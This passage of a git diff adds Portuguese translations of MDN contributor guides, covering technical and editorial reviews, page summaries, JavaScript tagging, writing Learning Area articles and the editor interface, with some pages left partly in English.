<li>Se o endereço de e-mail especificado no passo 4 não for o mesmo que utilizou no serviço de autenticação, por favor, verifique o seu e-mail e clique na hiperligação na mensagem de confirmação que nós lhe enviamos.</li> +</ol> + +<p>E é tudo! Agora tem uma conta MDN, e pode editar as páginas imediatamente!</p> + +<p>Pode clicar no seu nome no topo de qualquer página da MDN para ver o seu perfil público. Lá, pode clicar em <strong>Editar</strong> para efetuar alterações ou adições ao seu perfil.</p> + +<div class="note"> +<p>Os novos nomes de utilizador não podem conter espaços ou o caráter "@". Lembre-se que o seu nome de utilizador será exibido publicamente para identificar o seu trabalho realizado!</p> +</div> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html new file mode 100644 index 0000000000..def53aa207 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html @@ -0,0 +1,65 @@ +--- +title: Como efetuar uma revisão técnica +slug: MDN/Contribute/Howto/Como_efetuar_revisao_tecnica +tags: + - Como + - Documentação + - Guía + - Metadados MDN + - Revisão +translation_of: MDN/Contribute/Howto/Do_a_technical_review +--- +<div>{{MDNSidebar}}</div> + +<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div> + +<p class="summary"><strong>'Uma revisão Técnica' </strong>consiste em rever a exatidão técnica e a integridade de um artigo e corrigi-lo, se necessário. Se um escritor de um artigo quiser que outra pessoa verifique o conteúdo técnico de um artigo, o escritor marca a caixa de seleção "Revisão técnica" durante a edição. Muitas vezes, o escritor entra em contacto com um técnico específico para realizar a revisão técnica, mas qualquer pessoa com conhecimento técnico no assunto pode efetuar uma.</p> + +<p>Este artigo descreve como realizar uma revisão técnica, ajudando a garantir que o conteúdo da MDN seja preciso<span class="seoSummary">.</span></p> + +<dl> + <dt>O que é uma tarefa?</dt> + <dd>Rever e corrigir os artigos para uma perfeição e exatidão técnica.</dd> + <dt> + <p> </p> + Onde é que esta precisa de ser efetuada?</dt> + <dd>Nos artigos específicos que são marcados como 'necessária uma <a href="/en-US/docs/needs-review/technical">revisão técnica</a>' (em inglês).</dd> + <dt>O que precisa de saber para realizar a tarefa?</dt> + <dd> + <ul> + <li> + <p>Conhecimento especializado do tópico do artigo que está a rever. Se ao ler o artigo não lhe ensina algo significativamente novo, considere-se um especialista<span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p> + </li> + <li>Como editar um artigo da wiki na MDN.</li> + </ul> + </dd> + <dt>Quais são os passos a seguir?</dt> + <dd> + <ol> + <li>Escolha um artigo para rever: + <ol> + <li>Vá para lista das páginas que precisam de <a href="/en-US/docs/needs-review/technical">revisões técnicas</a>. I + <p> </p> + sto lista todas as páginas para as quais uma revisão técnica foi solicitada.</li> + <li>Escolha uma página cujo tópico esteja familizarizado.</li> + <li>Clique na hiperligação do artigo para carregar a página.</li> + </ol> + </li> + <li><a id="core-steps" name="core-steps"></a>Leia o artigo, tendo em atenção os detalhes técnicos: O artigo está correto? Tem alguma coisa em falta? Não hesite em mudar para uma página diferente se a primeira que escolheu não lhe é conveniente.</li> + <li>Se não existirem erros, não precisa de editar o artigo para o marcar como revisto. Veja na caixa "revisão rápida" na barra lateral esquerda da página. Esta caixa amarela lista quaisquer revisões pendentes e deixa-o limpar a bandeira do pedido da sua revisão. Parece-se com isto se foi solicitada uma revisão técnica:<br> + <img alt="Screenshot of the sidebar's box listing reviews that have been requested and allowing the flags to be changed." src="https://mdn.mozillademos.org/files/13016/SidebarTechReviewRequested.png"></li> + <li>Desselecione a caixa <strong>Técnico</strong>, e clique em <strong>Guardar</strong>.</li> + <li>Se encontrar erros que precisam de ser corrigidos, irá ficar feliz em saber que também pode alterar o estado da solicitação de revisão no editor. Aqui tem o fluxo de trabalho: + <ol> + <li>Para editar a página, clique em <strong>Editar</strong> perto do topo da página; isto coloca-o no <a href="/pt-PT/docs/MDN/Contribute/Editor">editor da MDN</a>.</li> + <li>Corrigir qualquer informação técnica que não esteja correta, e/ou adicioanr qualquer informação importante que esteja em falta.</li> + <li>Inserir um '<strong>Comentário da Revisão'</strong> no fim do artigo. Esta é uma breve mensagem que descreve o que fez, tal como 'Revisão técnica concluída'. Se corrigiu a informação, inclua isso no seu comentário, por exemplo, 'Revisão técnica e descrições dos parâmetros corrigidos'. Isto ajuda os outros colaboradores e editores de sites a saberem o que alterou e o porquê. Também pode mencionar se existiam partes específicas que não se sentia qualificado para rever.</li> + <li>Desselecionar a caixa <strong>Técnico </strong>sob <strong>Revisão necessária?</strong>.</li> + <li>Clique em <strong>PUBLICAR</strong>.</li> + </ol> + </li> + </ol> + + <p>Parabéns! Concluiu a sua primeira revisão técnica! Obrigado pela sua ajuda!</p> + </dd> +</dl> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html new file mode 100644 index 0000000000..d2902a8bb6 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html @@ -0,0 +1,56 @@ +--- +title: Como efetuar uma revisão editorial +slug: MDN/Contribute/Howto/fazer_revisão_editorial +tags: + - Como + - Documentação + - Guía + - Metadados MDN + - Revisão Editorial +translation_of: MDN/Contribute/Howto/Do_an_editorial_review +--- +<div>{{MDNSidebar}}</div> + +<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div> + +<p class="summary">As<strong> </strong><strong>revisões editoriais</strong> consistem em corrigir erros de digitação, ortografia, gramática, utilização ou erros textuais num artigo. Não é preciso ser um especialistas em linguagem para efetuar contribuições úteis para a documentação técnica da MDN, mas os artigos continuam a precisar de edição de cópia e revisão de provas. Isto é efetuado numa revisão editorial.</p> + +<p><span class="seoSummary">Este artigo descreve como efetuar uma revisão editorial, que ajuda a assegurar que o conteúdo na MDN é preciso e bem escrito.</span></p> + +<dl> + <dt>O que é a tarefa?</dt> + <dd>Copy-editing and proof-reading of articles that are marked as requiring an editorial review.</dd> + <dt>Onde é que esta tem de ser efetuada?</dt> + <dd>Within specific articles that are marked as requiring an editorial review.</dd> + <dt>O que precisa de saber para efetuar a tarefa?</dt> + <dd>You need to have good English grammar and spelling skills. An editorial review is about ensuring that the grammar, spelling, and wording are correct and make sense, and that the <a href="/en-US/docs/MDN/Contribute/Guidelines/Writing_style_guide">MDN writing style guide</a> is followed.</dd> + <dt>Quais os passos a seguir?</dt> + <dd> + <ol> + <li>Escolha um artigo para rever: + <ol> + <li>Go to the list of <a href="/en-US/docs/needs-review/editorial">articles needing editorial review</a>. This lists all the pages for which an editorial review has been requested.</li> + <li>Click on the article link to load the page.<br> + <strong>Nota: </strong>This listing is generated automatically but infrequently, so some articles appear on the list that no longer need editorial review. If the article you picked does <em>not</em> display a banner that says "This article needs an editorial review", skip that article and pick a different one.</li> + </ol> + </li> + <li><a id="core-steps" name="core-steps"></a>Read the article, paying close attention for typos, spelling, grammar, or usage errors. Don't hesitate to switch to a different page if the first one you choose doesn't suit you.</li> + <li>If there are no errors, you don't need to edit the article to mark it as reviewed. Look for the "quick review" box in the left sidebar of the page:<br> + <img alt="Screenshot of the editorial review request sidebar box" src="https://mdn.mozillademos.org/files/13018/SidebarReviewBoxEditorial.png"></li> + <li>Deselect the <strong>Editorial</strong> box and click <strong>Save</strong>.</li> + <li>If you find errors that need to be corrected: + <ol> + <li>Click the <strong>Edit</strong> button near the top of the page; this brings you into the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN editor</a>.</li> + <li>Correct any typos and spelling, grammar, or usage errors you find. You don't have to fix everything to be useful, but be sure to leave the editorial review request in place if you don't feel reasonably sure that you've done a complete review of the entire article.</li> + <li>Enter a <strong>Revision Comment</strong> at the bottom of the article; something like '<em>Editorial review: fixed typos, grammar & spelling.</em>' This lets other contributors and site editors know what you changed and why.</li> + <li>Deselect the <strong>Editorial</strong> box under <strong>Review Needed?</strong>. This is located just below the Revision Comment section of the page.</li> + <li>Click the <strong>Publish</strong> button.</li> + </ol> + </li> + </ol> + + <div class="note"> + <p>Depois de guardar, as suas alterações poderão não ser visíveis de imediato; existe um pequeno atraso enquanto a página é processada e guardada.</p> + </div> + </dd> +</dl> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html new file mode 100644 index 0000000000..172aed7d5d --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -0,0 +1,47 @@ +--- +title: Como definir o resumo para uma página +slug: MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina +tags: + - Como + - Guia(2) + - Metadados MDN +translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page +--- +<div>{{MDNSidebar}}</div><p><span class="seoSummary">Pode definir-se o resumo de uma página no MDN para ser usada de várias maneiras, incluindo em resultados de motores de busca, noutras páginas MDN tais como páginas de destino de tópicos, e dicas ou sugestões de ajuda. Deverá ser um texto que faça sentido quer no contexto da página, quer quando aparece noutros contextos, sem que esteja disponível a totalidade do conteúdo.</span></p> + +<p>Um resumo pode definido explicitamente em apenas uma página. Se não estiver explicitamente definido, então normalmente usam-se as primeiras linhas, o que nem sempre é o melhor para o objectivo pretendido.</p> + +<dl> + <dt><strong>O que é uma tarefa?</strong></dt> + <dd>Identificar o texto de uma página que melhor poderia ser usado para ser o seu resumo, mesmo que apareça noutros contextos; esta tarefa poderá incluir editar o texto existente e/ou introduzir texto apropriado se necessário.</dd> + <dt><strong>Onde é que esta precisa de ser feita?</strong></dt> + <dd>Em páginas que não têm resumos ou têm um resumo menos bom.</dd> + <dt><strong>O que precisa de saber para efectuar a tarefa?</strong></dt> + <dd>Habilitação para usar o editor MDN; competência em português escrito; familiaridade suficiente com o tópico para escrever um bom resumo.</dd> + <dt><strong>Quais os passos a seguir?</strong></dt> + <dd> + <ol> + <li>Escolher uma página para colocar um resumo: + <ol> + <li>Na página <a href="https://developer.mozilla.org/pt-PT/docs/MDN/Doc_status">Estado do documento por tópico</a>, clique num tópico de que tenha algum conhecimento (por exemplo, HTML) da coluna Secções: <br> + <img alt="" src="https://mdn.mozillademos.org/files/8681/sections.png" style="height: 130px; width: 504px;"></li> + <li>Na página de Estado do documento do tópico escolhido, clicar no cabeçalho <strong><em>Pages</em></strong> da tabela <strong><em>Summary. </em></strong> Irá para um índice de todas as páginas da secção correspondente ao tópico escolhido; mostra os links das páginas na coluna esquerda, e as palavras-chave e resumos na coluna da direita:<br> + <img alt="" src="https://mdn.mozillademos.org/files/8675/pages.png" style="height: 82px; width: 361px;"></li> + <li>Escolher uma página que não tenha ou tenha um fraco resumo:<br> + <img alt="" src="https://mdn.mozillademos.org/files/8677/summary.png" style="height: 38px; width: 296px;"></li> + <li>Clicar no link para ir para essa página.</li> + </ol> + </li> + <li>Clicar em <strong>Edit</strong> para abrir a página no editor MDN.</li> + <li>Tentar encontrar uma frase ou duas que possam servir de resumo, mesmo fora de contexto. Se necessário, editar o conteúdo existente para criar ou modificar frases de modo a que estas se tornem um bom resumo.</li> + <li>Seleccionar o texto que irá ser usado como resumo.</li> + <li>Na ferramenta Estilos, da barra de ferramentas do editor, seleccionar <strong>SEO Summary</strong>. (Na página de código fonte, isto cria um elemento {{HTMLElement("span")}} com <code>class="seoSummary"</code> em volta do texto seleccionado.)<br> + <img alt="" src="https://mdn.mozillademos.org/files/8679/styles.png" style="height: 231px; width: 403px;"></li> + <li>Guardar as alterações com um comentário de revisão. O comentário é opcional, mas é encorajado pois torna mais fácil para os outros utilizadores o rastreio de alterações.</li> + </ol> + + <p> </p> + </dd> +</dl> + +<p> </p> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html new file mode 100644 index 0000000000..e7c610347c --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html @@ -0,0 +1,75 @@ +--- +title: Como marcar páginas de JavaScript +slug: MDN/Contribute/Howto/Marcar_paginas_JavaScript +tags: + - Como + - Guia(2) + - JavaScript + - Metadados MDN +translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages +--- +<div>{{MDNSidebar}}</div><p class="summary">A <strong><u>marcação</u> </strong>consiste na adição de informação-metadados às páginas, e assim o conteúdo relacionado pode ser agrupado, por exemplo, na ferramenta de pesquisa.</p> + +<dl> + <dt>Onde é que isso precisa ser feito<strong>?</strong></dt> + <dd>Nas <a href="/pt-PT/docs/MDN/Doc_status/JavaScript">páginas relacionadas com JavaScript especificas sem marcações (tags)</a></dd> + <dt>O que precisa de saber para efetuar a tarefa<strong>?</strong></dt> + <dd>Conhecimento de codificação JavaScript básico, tal como saber o que é um 'método' ou uma 'propriedade'.</dd> + <dt>Quais são os passos a efetuar<strong>?</strong></dt> + <dd> + <ol> + <li>Escolha uma das páginas na lista acima.</li> + <li>Clique na hiperligação do artigo para carregar a página.</li> + <li>Assim que a página esteja carregada, clique em "<strong>EDITAR"</strong> perto do seu topo; isto leva-o para o editor da MDN.</li> + <li>Deverá ser adicionada pelo menos uma etiqueta de <code>JavaScript</code>. Aqui tem algumas das etiquetas possíveis para adicionar:</li> + <li> + <table class="standard-table"> + <thead> + <tr> + <th scope="col">Etiqueta</th> + <th scope="col">Que páginas para a utilizar</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>Method</code></td> + <td>methods</td> + </tr> + <tr> + <td><code>Property</code></td> + <td>properties</td> + </tr> + <tr> + <td><code>prototype</code></td> + <td>prototypes</td> + </tr> + <tr> + <td>Object type name</td> + <td>methods of an object; for example String.fromCharCode should have the tag <code>String</code></td> + </tr> + <tr> + <td><code>ECMAScript6 </code>and <code>Experimental</code></td> + <td>features added in a new ECMAScript version</td> + </tr> + <tr> + <td><code>Deprecated</code></td> + <td>deprecated features (whose use is discouraged but still supported)</td> + </tr> + <tr> + <td><code>Obsolete</code></td> + <td>obsolete features (which are no longer supported in modern browsers)</td> + </tr> + <tr> + <td>others</td> + <td>See <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">MDN tagging standards</a> for other possible tags to apply</td> + </tr> + </tbody> + </table> + </li> + <li>Guarde com um comentário.</li> + <li>E concluiu!</li> + </ol> + </dd> +</dl> + +<p> </p> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html new file mode 100644 index 0000000000..5751a2e391 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html @@ -0,0 +1,114 @@ +--- +title: Como escrever um artigo para ajudar as pessoas a aprenderem sobre a Web +slug: >- + MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web +tags: + - Aprender + - Como + - Guia(2) + - Metadados MDN +translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +--- +<div>{{MDNSidebar}}</div> + +<p>A <strong><a href="/pt-PT/docs/Learn">Área de Aprendizagem</a></strong> da MDN é o nosso local para os artigos que introduzem os conceitos da Web para os novos programadores. Porque o seu conteúdo, principalmente, tem como alvo os principiantes, é um local excelente para partilhar os seus conhecimentos e ajudar estes a conhecer a Web. É importante certificar-se que os novos programadores podem seguir este conteúdo, por isso nós damos especial atenção a este.</p> + +<p><span class="seoSummary">Este artigo explica sobre como escrever as páginas para a <a href="/pt-PT/docs/Learn">Área de Aprendizagem</a>.</span></p> + +<h2 id="Como_escrever_um_artigo_da_Área_de_Aprendizagem">Como escrever um artigo da <u><strong>Área de Aprendizagem</strong></u></h2> + +<p>To start contributing your knowledge, simply click the big green button, then follow the five steps below. If you're looking for ideas, please take a look at the <a href="https://trello.com/b/LDggrYSV">our team Trello board</a>!</p> + +<p></p><div class="align-center"><a class="button ignore-external mega positive" href="/pt-PT/docs/new?parent=111819">Escrever um novo artigo de aprendizagem<div></div></a></div><p></p> + +<p>This article might not end up in exactly the right place, but at least it's on MDN. If you need to talk to someone about getting it moved to the right place, please <a href="/en-US/docs/Learn#Contact_us">Contact us</a>.</p> + +<h3 id="Passo_1_Write_a_two-liner">Passo 1: Write a two-liner</h3> + +<p>Your article's first sentence needs to summarize what subject you're going to cover, and the second one should go into a few more specifics of the items that you'd put in the article. For example:</p> + +<div class="summary"> +<p>Whereas {{glossary("HTML")}} files contain structured content, {{Glossary("CSS")}}, another major Web technology, makes the content look the way you want. In this article we are going to cover how this technology works, and how to write your own basic example.</p> +</div> + +<p>Note how the example briefly explains that CSS is a core Web technology used to style pages. That's enough for the reader to get a pretty good idea what the article covers.</p> + +<p>Because Learning Area articles primarily target beginners, each article should cover one straightforward topic so as not to overwhelm the reader with too much new information. If you can't summarize the article in one sentence, you might be trying to do too much in one article!</p> + +<h3 id="Passo_2_Add_a_top_box">Passo 2: Add a top box</h3> + +<p>Then add a<strong> top box</strong> to help readers get their bearings as to where they are in the learning process. Here's an example of a top box from <a href="/en-US/docs/Learn/Understanding_URLs">"Understanding URLs and their structure"</a>. You can use this article as an model when writing your own.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pré-requisitos:</th> + <td>You need to first know <a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/How_the_Internet_works">how the Internet works</a>, <a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/What_is_a_Web_server">what a Web server is</a>, and <a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/Understanding_links_on_the_web">the concepts behind links on the web</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>You will learn what a URL is and how it works on the Web.</td> + </tr> + </tbody> +</table> + +<dl> + <dt>Pré-requisitos</dt> + <dd>What must the reader already know to follow the article? When possible, make each prerequisite a link to another Learning Area article covering the concept (unless it's a really basic article that doesn't require prior knowledge).</dd> + <dt>Objetivos</dt> + <dd>This section briefly states what the reader will learn over the course of the article. This is a bit different than the one-liner; the one-liner summarizes the topic of the article, while the objectives section specifically lays out what the reader can expect to accomplish over the course of the article.</dd> +</dl> + +<div class="note"> +<p><strong>Nota:</strong> To create this table, you can either copy and paste the example table above, or use MDN's editor's <a href="/en-US/docs/MDN/Contribute/Editor/Tables">table tool</a>. If you choose to use the table tool, you need to specifically add the <code>learn-box</code> CSS class in addition to the default <code>standard-table</code> class. To do this, when you create or edit the table's properties,, go to the "Advanced" panel and set the <strong>Stylesheet Classes</strong> field to "<code>standard-table learn-box</code>".</p> +</div> + +<h3 id="Passo_3_Write_a_full_description">Passo 3: Write a full description</h3> + +<p>Next, write a longer description that provides a more thorough overview of the article highlighting the most important concepts. Don't forget to explain why the reader should take the time to learn this topic and read your article!</p> + +<h3 id="Passo_4_Dig_deeper">Passo 4: Dig deeper</h3> + +<p>When you're done with all that, you can finally dive deeply into the topic. You can structure this part of your article however you like (although feel free to consult our <a href="/en-US/docs/MDN/Contribute/Style_guide">style guide</a>). This is your chance to shine! Go into detail explaining the topic you're writing about. Provide links to the full reference documentation, explain how the technology works in detail, provide syntax and usage details, and so forth. It's up to you!</p> + +<p>As a guide, here are some writing tips for beginners:</p> + +<ul> + <li>Focus on a single topic. If you feel like you need to cover other topics, it means either you're missing a prerequisite article, or you need to break up your article into more than one.</li> + <li>Use simple English. Avoid technical terms when you can, or at least define them and <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary#How_to_use_the_.7B.7BGlossary.7D.7D_macro">link to their glossary entries</a> where applicable.</li> + <li>Include straightforward examples to make the theoretical concepts easier to grasp. Many people learn best by example. Rather than writing academic papers, we want beginners to follow the text readily.</li> + <li>Visual aids often can make things easier to digest and carry extra information, so feel free to use images, diagrams, videos, and tables. If you're using diagrams or charts that include text, we encourage you to use {{Glossary("SVG")}} so our translation teams can localize the text.</li> +</ul> + +<p>Have a look at the first few sections of our <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a> article for some good descriptive sections.</p> + +<h3 id="Passo_5_Provide_active_learning_material">Passo 5: Provide "active learning" material</h3> + +<p>To illustrate the article and help the reader better understand what they're learning, be sure to provide exercises, tutorials, and tasks to accomplish. By having them actively and practically using and experimenting with the concepts your article explains, you can help "lock" the information into their brains.</p> + +<p>You can choose to include the examples directly in the page as <a href="/en-US/docs/MDN/Contribute/Structures/Live_samples">live samples</a>, or <a href="/en-US/docs/MDN/Contribute/Editor/Links">link to them</a> if they don't really work as a live sample. If you're interested in helping create these valuable materials, please read the article <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Create an interactive exercise to help learning the Web</a>.</p> + +<p>If you can't provide links to existing active learning materials (you don't know of any or don't have time to create them), you should add the tag {{Tag("NeedsActiveLearning")}} to the article. That way other contributors can find articles that need active learning materials and perhaps help you come up with them.</p> + +<p>Have a look at <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Simple_selectors#Active_learning_Selecting_different_elements">Active learning: selecting different elements</a> for a live interactive learning exercise, or <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Active_learning_Playing_with_scope">Active learning: Playing with scope</a> for a different style of exercise that calls upon them to download a template locally and modify it following the provided steps.</p> + +<h3 id="Passo_6_Get_the_article_reviewed_and_put_into_the_Learning_Area_navigation_menu">Passo 6: Get the article reviewed, and put into the Learning Area navigation menu</h3> + +<p>After you've written your article, let us know so we can have a look at it, do a review, and suggest improvements. Again, see our <a href="/en-US/docs/Learn#Contact_us">Contact us</a> section for the best ways to get in touch.</p> + +<p>Another part finalizing your article is to put it in the Learning Area main navigation menu. This menu is generated by the <a href="/en-US/docs/Template:LearnSidebar">LearnSidebar macro</a>, which you need special privileges to edit, so again, talk ot one of our team about getting it added.</p> + +<p>You should at least add it to your page — this is done by adding the macro call \{{LearnSidebar}} into a paragraph at the top of your page.</p> + +<ul> +</ul> + +<h2 id="Artigos_sugeridos">Artigos sugeridos</h2> + +<p>So you want to contribute but you're not sure what to write about?</p> + +<p>The Learning Area team maintains <a href="https://trello.com/b/LDggrYSV">a Trello board with ideas of articles</a> to write. Feel free to pick one and get to work!</p> + +<p> </p> + +<p> </p> diff --git a/files/pt-pt/orphaned/mdn/editor/basics/index.html b/files/pt-pt/orphaned/mdn/editor/basics/index.html new file mode 100644 index 0000000000..78a0023b70 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/editor/basics/index.html @@ -0,0 +1,72 @@ +--- +title: Elementos da IU do Editor +slug: MDN/Editor/Basicos +tags: + - Documentação + - Guía + - MDN + - Metadados da MDN + - Principiante + - editor +translation_of: MDN/Editor/Basics +--- +<div>{{MDNSidebar}}</div> + +<p><span class="seoSummary">O editor WYSIWYG na MDN</span> foi projetado para facilitar ao máximo a criação, edição e melhoramento de artigos e outras páginas em praticamente qualquer lugar do site. A janela do editor, mostrada abaixo, consiste em oito áreas principais. Este guia fornece informação sobre cada secção para que saiba como utilizar todo o nosso ambiente de edição.</p> + +<div class="note"> +<p>We're constantly working on improvements to MDN, so there will be times when this documentation or the screen shots below may be slightly out-of-date. We'll periodically update this documentation, though, to avoid it being unusably behind.</p> +</div> + +<p><img alt="Screenshot of the editor UI (August 2017) with each section labeled" src="https://mdn.mozillademos.org/files/15261/edit-page-with-labels.png" style="border-style: solid; border-width: 2px; height: 723px; width: 808px;"></p> + +<p>The editor UI contains the following sections, as shown above. Click a link below to read about that section of the editor.</p> + +<ul> + <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Page_info">Page info</a></li> + <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Page_controls">Page controls</a></li> + <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Toolbar">Toolbar</a></li> + <li><a href="/en-US/docs/MDN/Contribute/Editor/Edit_box">Edit box</a></li> + <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Tags">Tags</a></li> + <li><a href="#Revision_comment">Revision comment</a></li> + <li><a href="#Review_requests">Review requests</a></li> + <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Attachments">Attachments</a></li> +</ul> + +<h2 id="Caixa_de_edição">Caixa de edição</h2> + +<p>The edit box is, of course, where you actually do your writing.</p> + +<p>Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the <kbd>Shift</kbd> or <kbd>Control</kbd> key (the <kbd>Command</kbd> key on Mac OS X) while clicking.</p> + +<p>When working in the edit box, you can use its <a href="/en-US/docs/MDN/Contribute/Editor/Edit_box">keyboard shortcuts</a>.</p> + +<h2 id="Comentário_da_revisão">Comentário da revisão</h2> + +<p>After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the <a href="/en-US/dashboards/revisions" title="/en-US/dashboards/revisions">Revision Dashboard</a>. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the <strong>Publish</strong> buttons at the top or bottom of the page.</p> + +<p>There are a few reasons this is helpful:</p> + +<ul> + <li>If the reason for your change isn't obvious, your note can explain the reasoning to others.</li> + <li>If your change is technically complex, it can explain to editors the logic behind it; this can include a bug number, for example, that editors can refer to for more information.</li> + <li>If your edit involves deleting a large amount of content, you can justify the deletion (for example, "I moved this content to article X").</li> +</ul> + +<h2 id="Pedidos_de_revisão">Pedidos de revisão</h2> + +<p>The MDN community uses <strong>reviews</strong> to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about <a href="/en-US/docs/MDN/Contribute/Howto/Do_a_technical_review" title="/en-US/docs/Project:MDN/Contributing/How_to_help#Content_reviews">technical reviews</a> and <a href="/en-US/docs/MDN/Contribute/Howto/Do_an_editorial_review">editorial review</a> in the <a href="/en-US/docs/MDN/Contribute/Howto" title="/en-US/docs/Project:MDN/Contributing/How_to_help">How to</a> guides.</p> + +<p>To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.</p> + +<p>While selecting a review checkbox adds the article to the lists of those <a href="/en-US/docs/needs-review/technical">needing technical review</a> or <a href="/en-US/docs/needs-review/editorial">needing editorial review</a>, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a <a href="/en-US/docs/MDN/Community/Roles/Subject-matter_experts">subject-matter expert</a> in the relevant technical area. For editorial reviews, you can post in the <a href="/https://discourse.mozilla.org/c/mdn">MDN discussion forum</a> to request that someone review your changes.</p> + +<p>Be sure to click one of the <strong>Publish</strong> buttons after making your selections, to commit your review request.</p> + +<h2 id="Consulte_também">Consulte também</h2> + +<ul> + <li><a href="https://docs.ckeditor.com/">CKEditor - Guia do Utilizador</a></li> +</ul> + +<h6 id="EditorGuideQuicklinks">{{EditorGuideQuicklinks}}<span id="cke_bm_73C" style="display: none;"> </span></h6> diff --git a/files/pt-pt/orphaned/mdn/editor/index.html b/files/pt-pt/orphaned/mdn/editor/index.html new file mode 100644 index 0000000000..a13dda6b6a --- /dev/null +++ b/files/pt-pt/orphaned/mdn/editor/index.html @@ -0,0 +1,20 @@ +--- +title: Guia para o editor da IU da MDN +slug: MDN/Editor +tags: + - Documentação + - Guía + - Landing + - MDN + - Metadados MDN +translation_of: MDN/Editor +--- +<div>{{MDNSidebar}}</div> + +<p class="summary"><span class="seoSummary">O editor WYSIWYG (o que vê é o que obtém) para a wiki dos <strong>Documentos da Web da MDN</strong> torna fácil a contribuição para novo conteúdo. Este guia mostra-lhe como utilizar o editor e melhorar a sua produtividade. Por favor, leia e concorde com os <a href="https://www.mozilla.org/en-US/about/legal/terms/mozilla/">Termos da Mozilla</a> antes de editar ou criar novas páginas. </span></p> + +<p>O <a href="/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Guia_de_estilo_de_escrita" title="Read the MDN style guide">guia de estilo de escrita da MDN</a> oferece informação sobre como formatar e estilizar o próprio conteúdo, incluindo as nossas regras de gramática e ortografia preferidas.</p> + +<p>{{LandingPageListSubpages}}</p> + +<p>{{EditorGuideQuicklinks}}</p> diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/index.html new file mode 100644 index 0000000000..a7a7b21004 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/structures/api_references/index.html @@ -0,0 +1,58 @@ +--- +title: API references +slug: MDN/Structures/API_references +tags: + - API + - Contribute + - Guide + - NeedsTranslation + - Reference + - TopicStub +translation_of: MDN/Structures/API_references +--- +<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div> + +<p class="summary">Client-side JavaScript APIs form a large part of the technology available on the web, and MDN includes extensive reference material to explain what functionality is available in these APIs, and how to use it. In this set of guides we explain how to create API reference material on MDN.</p> + +<h2 id="Prerequisite_resources">Prerequisite resources</h2> + +<p>Before starting to document an API, you should have available:</p> + +<ol> + <li>The latest spec: Whether it is a W3C Recommendation or an early editor's draft, you should refer to the latest available draft of the spec that covers (or specs that cover) that API. To find it, you can usually do a Web search. The latest version will often be linked to from all versions of the spec, listed under "latest draft" or similar.</li> + <li>The latest modern web browsers: These should be experimental/alpha builds such as <a href="https://nightly.mozilla.org/">Firefox Nightly</a>/<a href="https://www.google.com/intl/en/chrome/browser/canary.html">Chrome Canary</a> that are more likely to support the features you are documenting. This is especially pertinent if you are documenting a nascent/experimental 